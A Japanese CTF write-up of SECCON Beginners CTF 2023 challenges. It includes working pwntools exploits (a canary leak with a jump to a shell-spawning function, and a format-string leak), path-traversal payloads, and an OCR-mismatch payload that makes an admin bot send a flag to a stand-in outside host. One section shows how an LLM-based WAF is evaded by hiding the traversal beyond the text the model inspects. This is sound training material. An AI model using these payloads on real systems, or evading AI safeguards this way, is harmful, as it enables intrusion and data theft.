SECCON Beginners CTF 2023 writeup

Writer:b1uef0x / Webページ建造途中

概要

昨年に引き続き個人参戦して、昨年と同程度の結果となった。速さが足りない。全完はreversingのみ、cryptoが奮わなかった。

チームスコアボード

目次

CoughingFox2 (crypto:beginner)

暗号問題に初めて挑戦する方向けに独自暗号と暗号化した後の出力を配布します。 ご覧の通り、簡易な暗号方式なので解読は簡単です。 解読をお願いします!

The original cipher for beginners and encrypted text are provided. Needless to say, this cipher is too childish, and that easy to decrypt! So, could you please decrypt it?

CoughingFox2.tar.gz a2be048e61bfc5acaf6a23d3948568e0a2ea247c

暗号化を行うmain.pyと出力結果が配布される。

main.py# coding: utf-8
import random
import os

flag = b"ctf4b{xxx___censored___xxx}"

# Please remove here if you wanna test this code in your environment :)
flag = os.getenv("FLAG").encode()

cipher = []

for i in range(len(flag)-1):
    c = ((flag[i] + flag[i+1]) ** 2 + i)
    cipher.append(c)

random.shuffle(cipher)

print(f"cipher = {cipher}")
cipher.txtcipher = [4396, 22819, 47998, 47995, 40007, 9235, 21625, 25006, 4397, 51534, 46680, 44129, 38055, 18513, 24368, 38451, 46240, 20758, 37257, 40830, 25293, 38845, 22503, 44535, 22210, 39632, 38046, 43687, 48413, 47525, 23718, 51567, 23115, 42461, 26272, 28933, 23726, 48845, 21924, 46225, 20488, 27579, 21636]

連続するflag文字を足して2乗して文字の位置を足している。最後にシャッフルされているが、文字の位置を総当りで引き算した結果が平方数になるかどうかを判定すれば、元の位置がわかる。

平方根をとればflag[i]+flag[i+1]が得られ、最初の文字はcとわかっているので順次分解できる。

# coding: utf-8
import math

def isSquare(n):
        odd = 1
        while n > 0:
                n = n - odd
                odd = odd + 2
        return n == 0


cipher = [4396, 22819, 47998, 47995, 40007, 9235, 21625, 25006, 4397, 51534, 46680, 44129, 38055, 18513, 24368, 38451, 46240, 20758, 37257, 40830, 25293, 38845, 22503, 44535, 22210, 39632, 38046, 43687, 48413, 47525, 23718, 51567, 23115, 42461, 26272, 28933, 23726, 48845, 21924, 46225, 20488, 27579, 21636]
flags = []
for i in range(len(cipher)):
        flags.append(0)

for c in cipher:
        for i in range(len(cipher)):
                c2 = c-i
                if isSquare(c2):
                        flags[i] = math.floor(math.sqrt(c2))

d = ord("c")
flag = chr(d)
for f in flags:
        d = f-d
        flag += chr(d)
print(flag)

ctf4b{hi_b3g1nner!g00d_1uck_4nd_h4ve_fun!!!}

Conquer (crypto:easy)

なんだか目が回りそうな問題ですね……

Conquer.tar.gz 4fe9007c38458ac345dc11109666d30b5d1f8f93

暗号化を行うproblem.pyと出力結果が配布される。

problem.pyfrom Crypto.Util.number import *
from random import getrandbits
from flag import flag


def ROL(bits, N):
    for _ in range(N):
        bits = ((bits << 1) & (2**length - 1)) | (bits >> (length - 1))
    return bits


flag = bytes_to_long(flag)
length = flag.bit_length()

key = getrandbits(length)
cipher = flag ^ key

for i in range(32):
    key = ROL(key, pow(cipher, 3, length))
    cipher ^= key

print("key =", key)
print("cipher =", cipher)
output.txtkey = 364765105385226228888267246885507128079813677318333502635464281930855331056070734926401965510936356014326979260977790597194503012948
cipher = 92499232109251162138344223189844914420326826743556872876639400853892198641955596900058352490329330224967987380962193017044830636379

flagに対してランダムに生成したkeyを使って繰り返し暗号化を行っている。ROL関数でkeyのビット列をぐるぐる回しているので、この逆を行うLOR関数を作って処理を逆回しにすればよい。

from Crypto.Util.number import *

def ROL(bits, N):
    for _ in range(N):
        bits = ((bits << 1) & (2**length - 1)) | (bits >> (length - 1))
    return bits

def LOR(bits, N):
    for _ in range(N):
        bits = (bits >> 1) | ((bits << (length - 1)) & (2**length-1))
    return bits

key = 364765105385226228888267246885507128079813677318333502635464281930855331056070734926401965510936356014326979260977790597194503012948
cipher = 92499232109251162138344223189844914420326826743556872876639400853892198641955596900058352490329330224967987380962193017044830636379
length = key.bit_length()+1

for i in range(32):
        cipher ^= key
        key = LOR(key, pow(cipher, 3, length))

flag = cipher^ key
print(long_to_bytes(flag))

元のlengthが微妙に変わっていたようで、1を足したら上手くいった。

ctf4b{SemiCIRCLErCanalsHaveBeenConqueredByTheCIRCLE!!!}

poem (pwnable:beginner)

ポエムを書きました!

nc poem.beginners.seccon.games 9000

poem.tar.gz c6e898c599ac92d26dcafee2b30cf7daf7865705

#include <stdio.h>
#include <unistd.h>

char *flag = "ctf4b{***CENSORED***}";
char *poem[] = {
    "In the depths of silence, the universe speaks.",
    "Raindrops dance on windows, nature's lullaby.",
    "Time weaves stories with the threads of existence.",
    "Hearts entwined, two souls become one symphony.",
    "A single candle's glow can conquer the darkest room.",
};

int main() {
  int n;
  printf("Number[0-4]: ");
  scanf("%d", &n);
  if (n < 5) {
    printf("%s\n", poem[n]);
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}

n<5の条件でpoem[n]を表示するが、マイナスの値を指定できるのでpoem[]より上にいるflagを表示できる。nを小さくして試していくとn=-4でヒット。

ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}

rewriter2 (pwnable:easy)

BOF...?

nc rewriter2.beginners.seccon.games 9001

rewriter2.tar.gz 93b616911713517cf5d47677f33eb7a4a70446c9

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x20
#define READ_SIZE 0x100

void __show_stack(void *stack);

int main() {
  char buf[BUF_SIZE];
  __show_stack(buf);

  printf("What's your name? ");
  read(0, buf, READ_SIZE);
  printf("Hello, %s\n", buf);

  __show_stack(buf);

  printf("How old are you? ");
  read(0, buf, READ_SIZE);
  puts("Thank you!");

  __show_stack(buf);
  return 0;
}

void win() {
  puts("Congratulations!");
  system("/bin/sh");
}

void __show_stack(void *stack) {
  unsigned long *ptr = stack;
  printf("\n %-19s| %-19s\n", "[Addr]", "[Value]");
  puts("====================+===================");
  for (int i = 0; i < 10; i++) {
    if (&ptr[i] == stack + BUF_SIZE + 0x8) {
      printf(" 0x%016lx | xxxxx hidden xxxxx  <- canary\n",
             (unsigned long)&ptr[i]);
      continue;
    }

    printf(" 0x%016lx | 0x%016lx ", (unsigned long)&ptr[i], ptr[i]);
    if (&ptr[i] == stack)
      printf(" <- buf");
    if (&ptr[i] == stack + BUF_SIZE + 0x10)
      printf(" <- saved rbp");
    if (&ptr[i] == stack + BUF_SIZE + 0x18)
      printf(" <- saved ret addr");
    puts("");
  }
  puts("");
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}

ソースコードにwin関数があるのでretアドレスを書き換えたい。

$ nc rewriter2.beginners.seccon.games 9001

 [Addr]             | [Value]            
====================+===================
 0x00007ffd928df900 | 0x00007f12b22b82e8  <- buf
 0x00007ffd928df908 | 0x00000000004014e0 
 0x00007ffd928df910 | 0x0000000000000000 
 0x00007ffd928df918 | 0x0000000000401110 
 0x00007ffd928df920 | 0x00007ffd928dfa20 
 0x00007ffd928df928 | xxxxx hidden xxxxx  <- canary
 0x00007ffd928df930 | 0x0000000000000000  <- saved rbp
 0x00007ffd928df938 | 0x00007f12b20eb083  <- saved ret addr
 0x00007ffd928df940 | 0x00007f12b22ea620 
 0x00007ffd928df948 | 0x00007ffd928dfa28 

What's your name?

実行すると書き換えたいsaved ret addrの手前にcanaryがいるので、BOFでリターンアドレスを書き換えるにはcanaryを流出させる必要がある。

  printf("What's your name? ");
  read(0, buf, READ_SIZE);
  printf("Hello, %s\n", buf);

入力文字を表示するprintf部分を見るとFormatStringAttack対策済み。canaryが固定かもしれないと思って試しに総当りでcanaryを上書きしてみたところ、末尾が\x00で固定となっている以外はランダムのようだ。

注目箇所は適当にstackを上書きしたとき、名前のあとにゴミがくっつくことだ。

名前を表示するところ

stack上のデータが漏れているように見えるので、gdbで確認してみる。

gdb

gdbでアタッチして、canaryまでの長さとなる40文字の入力を行うと、改行コードがcanaryを埋めてしまうもののcanary部分を含めて文字列としてつながることがわかる。

幸いcanaryの末尾は\x00で固定となっているので、41文字を入力してcanary7バイトを流出させることができる。

from pwn import *

io = remote('rewriter2.beginners.seccon.games',9001)
io.recvuntil("What's your name? ")

payload = b"1" * 41
io.send(payload)
data = io.recvuntil("How old are you? ")

canary = b"\x00" + data[48:48+7]
print(b"canary:" + canary)

payload = b"1"*40 + canary + b"\x00"*8 + p64(0x4012ca) #win function
print(b"payload:" + payload)

io.send(payload)
io.interactive()

41文字入力して流出させたcanaryを使い、40文字埋め+canary+8文字埋め+目標アドレス、と積んでリターンアドレスを書き換えるコードを書いた。

00000000004012c2 <win>:
  4012c2:       f3 0f 1e fa             endbr64 
  4012c6:       55                      push   rbp
  4012c7:       48 89 e5                mov    rbp,rsp
  4012ca:       48 8d 3d 72 0d 00 00    lea    rdi,[rip+0xd72]        # 402043 <_IO_stdin_used+0x43>
  4012d1:       e8 ca fd ff ff          call   4010a0 <puts@plt>
  4012d6:       48 8d 3d 77 0d 00 00    lea    rdi,[rip+0xd77]        # 402054 <_IO_stdin_used+0x54>
  4012dd:       e8 de fd ff ff          call   4010c0 <system@plt>
  4012e2:       90                      nop
  4012e3:       5d                      pop    rbp
  4012e4:       c3                      ret    

なおwin関数は先頭に飛ばすとクラッシュしたため、0x4012caに飛ばした。

flag取得

ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}

Forgot_Some_Exploit (pwnable:easy)

あなたの素敵な質問に対して、最高な回答をしてくれるかもしれないチャットアプリです。

nc forgot-some-exploit.beginners.seccon.games 9002

Forgot_Some_Exploit.tar.gz 5ac7161ce5b70c50e1c98615145651be23830167

解けなかった問題。前半まで。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>

#define BUFSIZE 0x100

void win() {
    FILE *f = fopen("flag.txt", "r");
    if (!f)
        err(1, "Flag file not found...\n");
    for (char c = fgetc(f); c != EOF; c = fgetc(f))
        putchar(c);
}

void echo() {
    char buf[BUFSIZE];
    buf[read(0, buf, BUFSIZE-1)] = 0;
    printf(buf);
    buf[read(0, buf, BUFSIZE-1)] = 0;
    printf(buf);
}

int main() {
    echo();
    puts("Bye!");
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

readでbufサイズ以上には書き込めないが、FormatStringAttackが有効。

gdbでスタックを確認してみる。

gdb-peda$ tel 0x7fffffffde10 48
0000| 0x7fffffffde10 ("aaaaaaaa\n")
0008| 0x7fffffffde18 --> 0xa ('\n')
0016| 0x7fffffffde20 --> 0x8 
0024| 0x7fffffffde28 --> 0x40 ('@')
0032| 0x7fffffffde30 --> 0x40 ('@')
0040| 0x7fffffffde38 --> 0x0 
0048| 0x7fffffffde40 --> 0xffffffffffffffff 
0056| 0x7fffffffde48 --> 0x7fffffffefbc --> 0x6f682f0030303031 ('1000')
0064| 0x7fffffffde50 --> 0x0 
0072| 0x7fffffffde58 --> 0x7100000017 
0080| 0x7fffffffde60 --> 0x1000000000 
0088| 0x7fffffffde68 --> 0x0 
0096| 0x7fffffffde70 --> 0x0 
0104| 0x7fffffffde78 --> 0x0 
0112| 0x7fffffffde80 --> 0x2 
0120| 0x7fffffffde88 --> 0x8000000000000006 
0128| 0x7fffffffde90 --> 0x0 
0136| 0x7fffffffde98 --> 0x0 
0144| 0x7fffffffdea0 --> 0x0 
0152| 0x7fffffffdea8 --> 0x0 
0160| 0x7fffffffdeb0 --> 0x0 
0168| 0x7fffffffdeb8 --> 0x0 
0176| 0x7fffffffdec0 --> 0x1 
0184| 0x7fffffffdec8 --> 0x1 
0192| 0x7fffffffded0 --> 0x555555554040 --> 0x400000006 
0200| 0x7fffffffded8 --> 0x7ffff7fe285c (<_dl_sysdep_start+1020>:       mov    rax,QWORD PTR [rsp+0x58])
0208| 0x7fffffffdee0 --> 0x6f0 
0216| 0x7fffffffdee8 --> 0x7fffffffe339 --> 0xe021423f597d3fbf 
0224| 0x7fffffffdef0 --> 0x7ffff7fc1000 (jg     0x7ffff7fc1047)
0232| 0x7fffffffdef8 --> 0x10101000000 
0240| 0x7fffffffdf00 --> 0x2 
0248| 0x7fffffffdf08 --> 0x178bfbff 
0256| 0x7fffffffdf10 --> 0x7fffffffe349 --> 0x34365f363878 ('x86_64')
0264| 0x7fffffffdf18 --> 0xe021423f597d3f00 
0272| 0x7fffffffdf20 --> 0x7fffffffdf30 --> 0x1 
0280| 0x7fffffffdf28 --> 0x5555555552ec (<main+14>:     lea    rax,[rip+0xd34]        # 0x555555556027)
0288| 0x7fffffffdf30 --> 0x1 
0296| 0x7fffffffdf38 --> 0x7ffff7dabd90 (<__libc_start_call_main+128>:  mov    edi,eax)
0304| 0x7fffffffdf40 --> 0x0 
0312| 0x7fffffffdf48 --> 0x5555555552de (<main>:        push   rbp)
0320| 0x7fffffffdf50 --> 0x100000000 

目標のスタックは280バイトの位置、264バイトにcanaryがいる。実環境ではアドレスはランダム化されているため、FormatStringAttackでアドレスを入手する必要がある。

続いてFormatStringAttackでstackを書き換えなければいけないが、今回はそこまではできなかった。アドレスを入手するところまでのスクリプトを示す。

from pwn import *

io = remote('forgot-some-exploit.beginners.seccon.games',9002)
#io = process('./chall')

io.sendline(b'%39$08lx %40$08lx %41$08lx')
data = io.recvline().decode()[:-1].split(" ")

canary = int(data[0],16)
stack = int(data[1],16)-0x8
offset = int(data[2],16)-0x12ec
print(canary)
print(stack)
print(offset)
io.interactive()

FSBを用いたメモリーの書き換えはよくわからないので復習しておく。

YARO (misc:beginner)

サーバーにマルウェアが混入している可能性があるので、あなたの完璧なシグネチャで探してください

nc yaro.beginners.seccon.games 5003

backup

nc yaro-2.beginners.seccon.games 5003

YARO.tar.gz 3e8137a394a95756b0f8f8aee5265988f3122297

サーバー上のファイルをYARAルールで検索する問題。

server.py#!/usr/bin/env python3

import yara
import os
import timeout_decorator 

@timeout_decorator.timeout(20)
def main():
    rule = []
    print('rule:')
    
    while True:
        l = input()
        if len(l) == 0:
            break
        rule.append(l)
    
    rule = '\n'.join(rule)
    try:
        
        print(f'OK. Now I find the malware from this rule:\n{rule}')
        
        compiled = yara.compile(source=rule)
        
        for root, d, f in os.walk('.'):
            for p in f:
                file = os.path.join(root, p)
                matches = compiled.match(file, timeout=60)
                if matches:
                    print(f'Found: {file}, matched: {matches}')
                else:
                    print(f'Not found: {file}')
    
    except:
        print('Something wrong')

if __name__ == '__main__':
    try:
        main()
    except timeout_decorator.timeout_decorator.TimeoutError:
        print("Timeout")
rule_example.yarrule shebang {
    strings:
        $shebang = /^#!(\/[^\/ ]*)+\/?/
    condition:
        $shebang
}
rule maybe_python_executable {
    strings:
        $ident = /python(2|3)\r*\n/
    condition:
        shebang and $ident
}

サンプル通りに実行させてみる。

YARO実行結果

YARAルールを使ってマッチした文字を出す方法がわからなかったので1文字ずつ総当りで調べた。

from pwn import *

flag = ["63","74","66","34","62","7b"]#flag = "ctf4b{"

def makerule():
        rules = ""
        for i in range(33,127,1):
                rules += "rule flag_" + format(i, 'x') + " {\n"
                rules += "    strings:$flag = { " + " ".join(flag) + " " +format(i, 'x')+ " }\n"
                rules += "    condition:$flag\n"
                rules += "}\n"
        return rules.encode()

while True:
        io = remote('yaro.beginners.seccon.games',5003)
        io.recvuntil("rule:")
        io.sendline(makerule())
        io.recvuntil("Not found: ./server.py")
        io.recvline()
        code = io.recvline().decode()[34:36]
        flag.append(code)
        io.close()
        if code == "7d":
                break

flagstr = ""
for f in flag:
        flagstr += chr(int(f,16))
print(flagstr)

ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}

shaXXX (misc:easy)

SHA! SHA! SHA!

nc shaxxx.beginners.seccon.games 25612

shaXXX.tar.gz 2be9b5aafb35aeeb95844aaa5b1dc19b8da3a3e7

main.pyimport os
import sys
import shutil
import hashlib
from flag import flag


def initialization():
    if os.path.exists("./flags"):
        shutil.rmtree("./flags")
    os.mkdir("./flags")

    def write_hash(hash, bit):
        with open(f"./flags/sha{bit}.txt", "w") as f:
            f.write(hash)

    sha256 = hashlib.sha256(flag).hexdigest()
    write_hash(sha256, "256")

    sha384 = hashlib.sha384(flag).hexdigest()
    write_hash(sha384, "384")

    sha512 = hashlib.sha512(flag).hexdigest()
    write_hash(sha512, "512")


def get_full_path(file_path: str):
    full_path = os.path.join(os.getcwd(), file_path)
    return os.path.normpath(full_path)


def check1(file_path: str):
    program_root = os.getcwd()
    dirty_path = get_full_path(file_path)
    return dirty_path.startswith(program_root)


def check2(file_path: str):
    if os.path.basename(file_path) == "flag.py":
        return False
    return True


if __name__ == "__main__":
    initialization()
    print(sys.version)
    file_path = input("Input your salt file name(default=./flags/sha256.txt):")
    if file_path == "":
        file_path = "./flags/sha256.txt"
    if not check1(file_path) or not check2(file_path):
        print("No Hack!!! Your file path is not allowed.")
        exit()
    try:
        with open(file_path, "rb") as f:
            hash = f.read()
        print(f"{hash=}")
    except:
        print("No Hack!!!")
flag.py# top secret (- __ -)
flag = b"ctf4b{dummy_flag}"

ファイルパスを入力するとそのファイルの中身を表示してくれる。ただしチェックがかかっており、上位ディレクトリの参照とflag.pyの表示が禁止されている。

$ nc shaxxx.beginners.seccon.games 25612
3.11.3 (main, May 10 2023, 12:26:31) [GCC 12.2.1 20220924]
Input your salt file name(default=./flags/sha256.txt):./flags/sha256.txt
hash=b'b948ace516f0a61129ba1be69ad9f69f083ee20907f6b19e1ba072c7c8fd005b'

$ nc shaxxx.beginners.seccon.games 25612
3.11.3 (main, May 10 2023, 12:26:31) [GCC 12.2.1 20220924]
Input your salt file name(default=./flags/sha256.txt):flag.py
No Hack!!! Your file path is not allowed.

flag.pyをimportしている点を利用する。ローカルでmain.pyを実行すると__pycache__ディレクトリが作成され、コンパイル済みのファイルが作られる。

実行時にPythonのバージョン(3.11.3)を教えてくれているので「./__pycache__/flag.cpython-311.pyc」が生成されているはず。

$ nc shaxxx.beginners.seccon.games 25612
3.11.3 (main, May 10 2023, 12:26:31) [GCC 12.2.1 20220924]
Input your salt file name(default=./flags/sha256.txt):./__pycache__/flag.cpython-311.pyc
hash=b'\xa7\r\r\n\x00\x00\x00\x00>=wd<\x00\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00
\xf3\n\x00\x00\x00\x97\x00d\x00Z\x00d\x01S\x00)\x02s\x1b\x00\x00\x00ctf4b{c4ch3_15_0ur_fr13nd!}N)\x01\xda\x04flag\xa9\x00\xf3\x00\x00\x00\x00
\xfa\x18/home/ctf/shaXXX/flag.py\xfa\x08<module>r\x06\x00\x00\x00\x01\x00\x00\x00s\x0e\x00\x00\x00\xf0\x03\x01\x01\x01\xe0\x07%\x80\x04
\x80\x04\x80\x04r\x04\x00\x00\x00'

ctf4b{c4ch3_15_0ur_fr13nd!}

Forbidden (web:beginner)

You don't have permission to access /flag on this server.

https://forbidden.beginners.seccon.games

Forbidden.tar.gz 018c1361937a789b327181c9a46ec574906c360c

Webページが与えられ、/flagを開くことができればよい。サーバー側のプログラムは以下のようになっている。

var express = require("express");
var app = express();

const HOST = process.env.CTF4B_HOST;
const PORT = process.env.CTF4B_PORT;
const FLAG = process.env.CTF4B_FLAG;

app.get("/", (req, res, next) => {
    return res.send('FLAG はこちら: <a href="/flag">/flag</a>');
});

const block = (req, res, next) => {
    if (req.path.includes('/flag')) {
        return res.send(403, 'Forbidden :(');
    }

    next();
}

app.get("/flag", block, (req, res, next) => {
    return res.send(FLAG);
})

var server = app.listen(PORT, HOST, () => {
    console.log("Listening:" + server.address().port);
});

/flagをそのまま開くと403エラーが返る。app.getでは/flagとして読まれ、req.path.includes('/flag')では/flagとして読まれないパスを渡せばいい。

例えば大文字小文字は区別されないので、https://forbidden.beginners.seccon.games/FLAGでアクセスするとreq.path.includes('/flag')には引っかからず、flagを獲得できる。

ctf4b{403_forbidden_403_forbidden_403}

aiwaf (web:easy)

AI-WAFを超えてゆけ!! ※AI-WAFは気分屋なのでハックできたりできなかったりします。

https://aiwaf.beginners.seccon.games

aiwaf.tar.gz 2ce11f780bbdae5509bd80f9b3ef9d7545951f9f

問題ページ

テキストファイルを読み込んで表示できるWebページ。リンクをたどると?file=***の形式でファイルを指定できる。

ファイルを参照したところ

このアプリケーションのソースコードは以下のようになっている。

app.pyimport uuid
import openai
import urllib.parse
from flask import Flask, request, abort

# from flask_limiter import Limiter
# from flask_limiter.util import get_remote_address

##################################################
# OpenAI API key
KEY = "****REDACTED****"
##################################################

app = Flask(__name__)
app.config["RATELIMIT_HEADERS_ENABLED"] = True

# limiter = Limiter(get_remote_address, app=app, default_limits=["3 per minute"])

openai.api_key = KEY

top_page = """
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="utf-8" />
    <title>亞空文庫</title>
</head>

<body>
    <h1>亞空文庫</h1>
    AIにセキュリティの物語を書いてもらいました。<br>
    内容は正しいかどうかわかりません。<br>
<ul>
    <li><a href="/?file=book0.txt">あ書</a></li>
    <li><a href="/?file=book1.txt">い書</a></li>
    <li><a href="/?file=book2.txt">う書</a></li>
    <!-- <li><a href="/?file=book3.txt">え書</a></li> -->
</ul>

※セキュリティのためAI-WAFを導入しています。<br>
c 2023 ももんがの書房
</body>

</html>
"""


@app.route("/")
def top():
    file = request.args.get("file")
    if not file:
        return top_page
    if file in ["book0.txt", "book1.txt", "book2.txt"]:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read()
    # AI-WAF
    puuid = uuid.uuid4()
    prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
    try:
        response = openai.ChatCompletion.create(
            model="gpt-3.5-turbo",
            messages=[
                {
                    "role": "user",
                    "content": prompt,
                },
            ],
        )
        result = response.choices[0]["message"]["content"].strip()
    except:
        return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。")
    if "No" in result:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read().replace(KEY, "")
    return abort(403, "AI-WAFに検知されました??")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31415)

配布されるファイルにはアプリケーションの直下にflagファイルがあるので、一番下のopen(f"./books/{file}", encoding="utf-8")の部分でパストラバーサルを行ってflagを表示させたい。

ただし、ChatGPTを使って../やflagの文字列を見つけさせている。ChatGPTを騙す問題かな・・・と思ったが、promptに入力される部分を見るとrequest.query_stringの最初の50文字までしか渡していないので、50文字以上のところに必要なクエリを書けばChatGPTに読まれる心配はない。

https://aiwaf.beginners.seccon.games/?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&file=../flag

・・・で競技中は解けたのだが、writeupを書くに当たって再実行したところ失敗するようになった。長い単調文字列に対してAIが不審と判断したかもしれないので、気を取り直してAIがよく覚えていそうな無難な文字列に変更した。

https://aiwaf.beginners.seccon.games/?yahoogoogleyahoogoogleyahoogoogleyahoogoogleyahoogoogle&file=../flag

ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}

phisher2 (web:medium)

目に見える文字が全てではないが、過去の攻撃は通用しないはずです。

https://phisher2.beginners.seccon.games

phisher2.tar.gz 30ecedac5abd7d27ea3e4ae75c4237c949ba842c

問題ページ

以下のPOSTリクエストをサーバーに送信することができる。

curl -X POST -H "Content-Type: application/json" -d '{"text":"https://phisher2.beginners.seccon.games/foobar"}' https://phisher2.beginners.seccon.games

幾つか送信した結果は次の通り。

$ curl -X POST -H "Content-Type: application/json" -d '{"text":"https://phisher2.beginners.seccon.games/foobar"}' https://phisher2.beginners.seccon.games
{"input_url":"https://phisher2.beginners.seccon.games/foobar","message":"admin: Very good web site. Thanks for sharing!","ocr_url":"https://phisher2.beginners.seccon.games/foobar"}
$ curl -X POST -H "Content-Type: application/json" -d '{"text":"https://www.google.com/"}' https://phisher2.beginners.seccon.games
{"input_url":"https://www.google.com/","message":"admin: It's not url or safe url.","ocr_url":"https://www.google.com/"}

配布されているサーバー側のコードを確認する。

app.pyimport os
import uuid
from admin import share2admin
from flask import Flask, request

app = Flask(__name__)

@app.route("/", methods=["GET"])
def index():
    return open("./index.html").read()

@app.route("/", methods=["POST"])
def chall():
    try:
        text = request.json["text"]
    except Exception:
        return {"message": "text is required."}
    fileId = uuid.uuid4()
    file_path = f"/var/www/uploads/{fileId}.html"
    with open(file_path, "w", encoding="utf-8") as f:
        f.write(f'<p style="font-size:30px">{text}</p>')
    message, ocr_url, input_url = share2admin(text, fileId)
    os.remove(file_path)
    return {"message": message, "ocr_url": ocr_url, "input_url": input_url}


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0")

app.pyでは、送信されたテキストをフォントサイズ30pxのpタグで囲んでファイルに書き出している。続いてshare2admin関数が呼ばれる。

admin.pyimport os
import re
import pyocr
import requests
from PIL import Image
from selenium import webdriver

APP_URL = os.getenv("APP_URL", "http://localhost:16161/")
FLAG = os.getenv("FLAG", "ctf4b{dummy_flag}")

# read text from image
def ocr(image_path: str):
    tool = pyocr.get_available_tools()[0]
    return tool.image_to_string(Image.open(image_path), lang="eng")


def openWebPage(fileId: str):
    try:
        chrome_options = webdriver.ChromeOptions()
        chrome_options.add_argument("--no-sandbox")
        chrome_options.add_argument("--headless")
        chrome_options.add_argument("--disable-gpu")
        chrome_options.add_argument("--disable-dev-shm-usage")
        chrome_options.add_argument("--window-size=1920,1080")
        driver = webdriver.Chrome(options=chrome_options)
        driver.implicitly_wait(10)
        url = f"file:///var/www/uploads/{fileId}.html"
        driver.get(url)

        image_path = f"./images/{fileId}.png"
        driver.save_screenshot(image_path)
        driver.quit()
        text = ocr(image_path)
        os.remove(image_path)
        return text
    except Exception:
        return None


def find_url_in_text(text: str):
    result = re.search(r"https?://[\w/:&\?\.=]+", text)
    if result is None:
        return ""
    else:
        return result.group()


def share2admin(input_text: str, fileId: str):
    # admin opens the HTML file in a browser...
    ocr_text = openWebPage(fileId)
    if ocr_text is None:
        return "admin: Sorry, internal server error."

    # If there's a URL in the text, I'd like to open it.
    ocr_url = find_url_in_text(ocr_text)
    input_url = find_url_in_text(input_text)

    # not to open dangerous url
    if not ocr_url.startswith(APP_URL):
        return "admin: It's not url or safe url.", ocr_url, input_text

    try:
        # It seems safe url, therefore let's open the web page.
        requests.get(f"{input_url}?flag={FLAG}")
    except Exception:
        return "admin: I could not open that inner link.", ocr_url, input_text
    return "admin: Very good web site. Thanks for sharing!", ocr_url, input_text

admin.pyでは2つの方法でURLが抽出されている。input_urlは入力テキストから正規表現でURLを抜き出したもの。ocr_urlはテキストを書き込んだHTMLをブラウザで開いて画面からOCRで文字列を取り出してから正規表現でURLを抜き出したものだ。

その上でocr_urlが内部アドレスになっている場合のみ、input_urlにflag文字列のクエリを付けてリクエストを実行する。

したがってやるべきことは簡単で、HTMLタグを使ってocr_urlには内部アドレスとして読ませ、input_urlを外部アドレスにすればよい。

<span style='color:#fff;'>https://example.example/</span><br>ht<span>t</span>ps://phisher2.beginners.seccon.games/

https://example.example/がアクセスさせたい任意のアドレスとしている。このようにするとOCRではhttps://phisher2.beginners.seccon.games/が読まれ、テキスト直接ではhttps://example.example/が読まれる。

アクセスを記録しているURLにリクエストを送信させてflagを入手。

curl -X POST -H "Content-Type: application/json" -d '{"text":"<span style=\"color:#fff;\">https://example.example/</span><br>ht<span>t</span>ps://phisher2.beginners.seccon.games/"}' https://phisher2.beginners.seccon.games

ctf4b{w451t4c4t154w?}

Half (reversing:beginner)

バイナリファイルってなんのファイルなのか調べてみよう!

あとこのファイルってどうやって中身を見るんだろう...?

Half.tar.gz f532a2ee8c9018ab2bb82d275b6a6838f54af630

何をするプログラムかは知らないが配布されたファイルをテキストエディタで開くとflagが平文で書いてあるのでヨシ。

ctf4b{ge4_t0_kn0w_the_bin4ry_fi1e_with_s4ring3}

Three (reversing:easy)

このファイル、中身をちょっと見ただけではフラグは分からないみたい!

バイナリファイルを解析する、専門のツールとか必要かな?

Three.tar.gz 708918558460842584a4b762c6113f480e6ff781

配布されたファイルをGhidraで読み込んで逆コンパイル結果を見てみる。

undefined8 validate_flag(char *param_1)

{
  char cVar1;
  size_t sVar2;
  undefined8 uVar3;
  int local_c;
  
  sVar2 = strlen(param_1);
  if (sVar2 == 0x31) {
    local_c = 0;
    while (local_c < 0x31) {
      if (local_c % 3 == 0) {
        cVar1 = (char)*(undefined4 *)(flag_0 + (long)(local_c / 3) * 4);
      }
      else {
        if (local_c % 3 == 1) {
          cVar1 = (char)*(undefined4 *)(flag_1 + (long)(local_c / 3) * 4);
        }
        else {
          cVar1 = (char)*(undefined4 *)(flag_2 + (long)(local_c / 3) * 4);
        }
      }
      if (cVar1 != param_1[local_c]) {
        puts("Invalid FLAG");
        return 1;
      }
      local_c = local_c + 1;
    }
    puts("Correct!");
    uVar3 = 0;
  }
  else {
    puts("Invalid FLAG");
    uVar3 = 1;
  }
  return uVar3;
}

入力されたフラグの一致判定をしている関数が見つかる。正解flagはバイナリ上でflag_0、flag_1、flag_2で三分割されている。該当するバイナリ部分は以下の通り。

flag_0
63 00 00 00 34 00 00 00 63 00 00 00 5F 00 00 00 75 00 00 00 62 00 00 00 5F 00 00 00 5F 00 00 00 64 00 00 00 74 00 00 00 5F 00 00 00 72 00 00 00 5F 00 00 00 31 00 00 00 5F 00 00 00 34 00 00 00 7D 00 00 00

flag_1
